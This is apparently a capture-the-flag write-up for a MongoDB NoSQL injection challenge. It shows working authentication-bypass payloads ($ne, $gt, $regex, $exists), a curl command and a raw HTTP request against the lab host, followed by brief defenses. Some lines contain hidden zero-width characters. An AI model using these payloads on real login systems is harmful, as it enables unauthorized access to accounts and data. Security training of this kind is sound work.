← Back to Writeups
CUSTOMEasyWeb

Mongo 1

XESXOR9/10/20261 min read
#web#custom#easy#mongodb_query_operator_injecti#nosql_injection_ne_operator#linux

Mongo 1

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: mongodb_query_operator_injection, nosql_injection_ne_operator

Summary

MongoDB NoSQL injection task. Login form with MongoDB backend.

Mongo 1 — Web Kids 2.0

Description

MongoDB NoSQL injection task. Login form with MongoDB backend.

URL: http://kslweb3.spb.ctf.su/2-6/

Analysis

The login form passes user input directly to a MongoDB query without sanitization. MongoDB supports special query operators (starting with $) that can be injected through form parameters.

Key vulnerability: if the application uses form parameters directly in the query, you can pass an object instead of a string using the param[$operator]=value syntax. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Form Analysis

Normal login request:

POST /2-6/
login=admin&password=admin123

This creates a MongoDB query:

javascript
db.users.find({login: "admin", password: "admin123"})

Step 2: $ne Operator Injection

Using the $ne (not equal) operator to bypass authentication:

login[$ne]=notexist&password[$ne]=test

This creates a MongoDB query:

javascript
db.users.find({login: {$ne: "notexist"}, password: {$ne: "test"}})

The query will return any document where:

  • login is NOT equal to "notexist" (i.e., practically any user)
  • password is NOT equal to "test" (i.e., practically any password) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Exploitation

bash
curl -X POST "http://kslweb3.spb.ctf.su/2-6/" \
  -d "login[\$ne]=notexist&password[\$ne]=test"

Or via Burp Suite:

POST /2-6/ HTTP/1.1
Host: kslweb3.spb.ctf.su
Content-Type: application/x-www-form-urlencoded

login[$ne]=notexist&password[$ne]=test

The server returns the first user's data from the database, including the flag.

Alternative Payloads

bash
# Using $gt (greater than)
login[$gt]=&password[$gt]=

# Using $regex
login[$regex]=.*&password[$regex]=.*
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Using $exists
login[$exists]=true&password[$exists]=true

Defense

  • Use strict type validation for input data
  • Sanitize special characters ($, .)
  • Use parameterized queries
  • Apply whitelist for allowed fields ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍